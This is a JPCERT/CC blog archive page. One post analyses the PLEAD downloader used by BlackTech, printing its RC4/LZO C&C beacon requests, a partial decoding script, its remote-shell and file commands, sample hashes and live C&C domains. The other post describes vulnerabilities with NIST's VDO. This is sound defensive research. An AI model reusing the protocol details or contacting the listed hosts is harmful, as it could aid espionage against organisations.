« April 2018 | Main

2 posts from June 2018

Jun 08, 2018

PLEAD Downloader Used by BlackTech

In a past article, we introduced TSCookie, malware which seems to be used by BlackTech[1]. It has been revealed that this actor also uses another type of malware “PLEAD”. (“PLEAD” is referred to both as a name of malware including TSCookie and its attack campaign [2]. In this article, we refer to “PLEAD” as a type malware apart from TSCookie.) PLEAD has two kinds – RAT (Remote Access Tool) and downloader. The RAT operates based on commands that are provided from C&C servers. (Please refer to a blog post from LAC for more information [3].) On the other hand, PLEAD downloader downloads modules and runs it on memory in the same way as TSCookie does.

This article presents behaviour of PLEAD downloader in detail.

Behaviour of PLEAD downloader

PLEAD downloader downloads RC4-encrypted modules from certain sites. Figure 1 shows an example of an encrypted file downloaded from a server.

Figure 1: Example of file download by PLEAD downloader

The first 20h of the downloaded file is the RC4 key to decode the file. Once decoded, you can find the module (hereafter referred to as “PLEAD module”), C&C server, encryption keys etc. Figure 2 is an example of a decrypted file.

Figure 2: Decrypting downloaded file

PLEAD downloader loads PLEAD module (contained in the decrypted data) and executes it. The module will not be saved as a file but only exists on the memory. The following section will explain the details of PLEAD module.

Behaviour of PLEAD module

PLEAD module operates based on commands provided from C&C servers. Communication to/from C&C servers is RC4-encrypted and then compressed with LZO. The RC4 encryption key is a combination of the ones generated by itself and another sent from a C&C server. Figure 3 describes the flow of communication that PLEAD module performs.

Figure 3: PLEAD module communication

PLEAD module first shares a RC4 key with a C&C server. Below is an example of an HTTP GET request which is sent at the beginning of the communication. Cookie header contains an encrypted RC4 key. In the data sent in Cookie header, “D” and “E” are interchanged. Refer to Table A-1 and A-2 in Appendix A for data format.

GET /index.php?id=1577061168 HTTP/1.1
Cache-Control: no-cache
Accept: */*
Pragma: no-cache
Cookie: 800809D6411C6E2629001900A92309EB26192117C5A59F306E207A8993A2F20121FC3B42B6DF693838
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Host: [host name]
Connection: Keep-Alive

RC4 key for data encryption is 32 bytes long, divided into 5 blocks (4 byte * 4 + 16 byte * 1). The first block in the key (Key1 in Figure 3) is included in the configuration of PLEAD module. The second and the third block (Key2 and 3) are set to 0 in the HTTP GET request. The fourth block (Key4) is randomly generated and inserted after “id” in the URL. The fifth block (Key5) is generated based on Key4 value.

The data which is sent first contains Key2 value. With that value, the recipient server encrypts Key3 value and send it to C&C server. The data format is described in Table A-3 and A-4 in Appendix A. This way, an RC4 key is generated and used for communication that follows.

Below is a part of Python script to decode data.

def decode(key1, key2, key3, key4, data, lzo_header):
    rc4_key = key1 + pack("III", key2, key3, key4)
    for i in xrange(4):
        key4 = ROR(key4 + 1, 5)
        rc4_key += pack("I", key4)
    dec = rc4(data, rc4_key)

        return lzo.decompress(lzo_header + dec)
        sys.exit("[!] Lzo decompress error.")

After sharing the RC4 key, PLEAD module sends information about an infected host using HTTP POST request. The data format is the same as shown in Table A-1 in Appendix A.

POST /index.php?id=2852129559 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Host: [host name]
Content-Length: [data size]
Connection: Keep-Alive
Cache-Control: no-cache


The data itself contains the host name, OS version, IP address, user account name of the infected host. Figure 4 is an example of decoded data.

Figure 4: Example of decoded data that PLEAD module sends

After that, a command will be sent from a C&C server. PLEAD module can execute the following functions based on the commands that are provided.

  • Send file list
  • Arbitrary shell command execution
  • Upload/download files
  • File Operations

(Refer to B-1 in Appendix B for the details of the command)


As we previously described, this actor has been conducting attacks against Japanese organisations using various kinds of malware. As this attack campaign is likely to continue, JPCERT/CC will watch the trend carefully.

We have listed the hash values of the samples that were described in this article in Appendix C. Some C&C servers that are lately confirmed are also listed in Appendix D. Please make sure that none of your devices is accessing these hosts.

- Shusei Tomonaga

(Translated by Yukako Uchida)


[1] TrendMicro: Following the Trail of BlackTech’s Cyber Espionage Campaigns


[2] TrendMicro: Following the Trail of BlackTech’s Cyber Espionage Campaigns


[3] LAC: Confirmed Attacks against Japanese Organizations by BlackTech Using “PLEAD” (Japanese)


Appendix A PLEAD module communication data
Table A-1: Format of data contained in Cookie header
Offset Length Contents
0x00 4 Hash value
0x04 4 RC4 key (Key1)
0x08 2 Data length
0x0A 2 Original length of data with offset 0x0C
0x0C - Encrypted data (RC4+LZO) (Refer to Table A-2)

*In the data contained in Cookie header, “D” and “E” are interchanged.

Table A-2: Format of encrypted data contained in Cookie header
Offset Length Contents
0x00 2 0x0000
0x02 4 RC4 key (Key2)
0x06 - Random numeric

Table A-3: Format of received data
Offset Length Contents
0x00 4 RC4 key (Key2)
0x04 4 Hash value
0x08 4 RC4 key (Key1)
0x0C 2 Original length of data with offset 0x0E
0x0E - Encrypted data (RC4+LZO) (Refer to Table A-4)

Table A-4: Format of encrypted data contained in the received data
Offset Length Contents
0x00 2 0x0001
0x02 4 RC4 key (Key3)
Appendix B PLEAD module commands
Table B-1: List of commands
Value Contents
0x100 Send file list
0x105 Send file size
0x107 Move file
0x109 Delete file
0x10B Upload file
0x10D Execute file
0x10F Execute file (using registry entry value)
0x111 Create directory
0x113 Move file
0x115 Delete directory
0x200 Send file or directory information
0x203 Create directory
0x206 Download file
0x207 Send file information
0x20B Upload file
0x300 Launch remote shell and execute command
0x305 Move current directory
0x307 End remote shell
0x309 Send file list of current directory file
0x30C Delete file or change attribution
0x404 Proxy set up
0x406 Send proxy data
0x408 Receive proxy data
0x40A End proxy
Appendix C SHA-256 hash value of samples


  • bc2c8cc9896cdd5816509f43cb5dca7433198251d754a997a70db7e8ed5cca40
  • a26df4f62ada084a596bf0f603691bc9c02024be98abec4a9872f0ff0085f940
  • 2ddb2030ab3373b9438102b541aa4623b7dfee972850dcef05742ecbe8982e22
  • eec3f761f7eabe9ed569f39e896be24c9bbb8861b15dbde1b3d539505cd9dd8d

PLEAD module

  • 23f554cc5bea9d4ccd62b0bbccaa4599f225ebce4ad956a576cc1a9b2a73dc15
Appendix D List of C&C servers
  • em.totalpople.info
  • office.panasocin.com
  • gstrap.jkub.com
  • woc.yasonbin.info

Jun 05, 2018

How to Describe Vulnerability Information?

Today, I would like to introduce an activity at the Vulnerability Coordination Group of JPCERT/CC.
It is a method to describe a vulnerability using Vulnerability Description Ontology (VDO).

JPCERT/CC receives software vulnerability information from domestic and overseas reporters, then coordinates them in between the vendor/developer and the reporter. While there is a vulnerability reporting template, vulnerability itself is described in a free format. Reporter can describe about a vulnerability in a way they like. From a vulnerability coordinator's perspective, the following are a few obstacles that we are facing:

1. It is necessary to "understand" the technical aspects

For example, the description in CVE for the vulnerability CVE-2014-8606 is as follows:

Directory traversal vulnerability in the XCloner plugin 3.1.1 for WordPress and 3.5.1 for Joomla! allows remote administrators to read arbitrary files via a .. (dot dot) in the file parameter in a json_return action in the xcloner_show page to wp-admin/admin-ajax.php.

When reading this information, the following technical details can be extracted:

  • (Affected) Products and Versions
    • Xcloner plugin 3.1.1 (for WordPress)
    • Xcloner plugin 3.5.1 (for Joomla!)
  • Vulnerability type: Directory traversal
    • Root cause: the parameter "file" is not validated
    • Attacker: Remote authenticated attacker
    • Impact: Arbitrary file read

There is no unique way to articulate the technical aspects of a vulnerability. A free format allows various reporters to describe a vulnerability using their own way. In some cases, there may be redundant information, or in other cases, not enough information.

2. When the vulnerability description is written in your non-native language, it can be extremely difficult to comprehend

A lot of vulnerability information is published in English, so organizations who do not have any English speaker may have a difficulty in comprehending a vulnerability due to the language barrier. In addition, various sources are now publishing vulnerability information, and lots of non-English vulnerability information are publicly available.
For example, CNNVD in China provides vulnerability information only in Chinese.

To overcome these issues, the National Institute of Standards and Technology (NIST) in US has proposed the creation of Vulnerability Description Ontology (VDO).

VDO provides basic building blocks to describe a vulnerability so that a vulnerability can be described without using a free format.
Below is an example of the vulnerability (CVE-2014-8606 from above) described using the VDO (taken from NIST IR 8138 - Appendix A)

Vulnerability: cve.mitre.org CVE-2014-8606
Provenance: http://www.vapid.dhs.org/advisories/wordpress/plugins/Xcloner-v3.1.1/
Scenario: 1
Type: cve.mitre.org CWE-22
Attack Theater: Remote
  Remote Type: Internet
Barriers: Privilege Required
  Privilege Level: Administrator
    Relating to Context: Application
Context: Application
Entity Roles: Primary Authorization
Entity Roles: Vulnerable
Impact Method: Trust Failure
  Trust Failure Type: Failure to Verify Content
Logical Impact: Read(Direct)
  Scope: Limited
    Criticality: Low
Context: HostOS
  Entity Roles: Secondary Authorization
Impact Method: Code Execution
Logical Impact: Read(Direct)
  Scope: Limited
    Criticality: High

While VDO is still in a draft phase. I believe that it has a huge potential to

  • Provide a common language for understanding and exchanging information on vulnerabilities
  • Provide a format to automatically manage vulnerability information

JPCERT/CC is currently attempting to see if describing vulnerabilities using VDO can make the vulnerability coordination operations more efficient.

The following shows how vulnerability information can be entered into the VDO format using an editor.
Currently, we have implemented a JSON Schema to enter the Noun Groups defined in NISTIR 8138 in a simple manner to test whether this can be used in a practical manner.


More details on this attempt to make vulnerability coordination more efficient through the VDO will be presented at the 30th Annual FIRST Conference.

If you are interested in VDO and its application, please contact us at vultures [at] jpcert.or.jp.

- Masanobu Katagi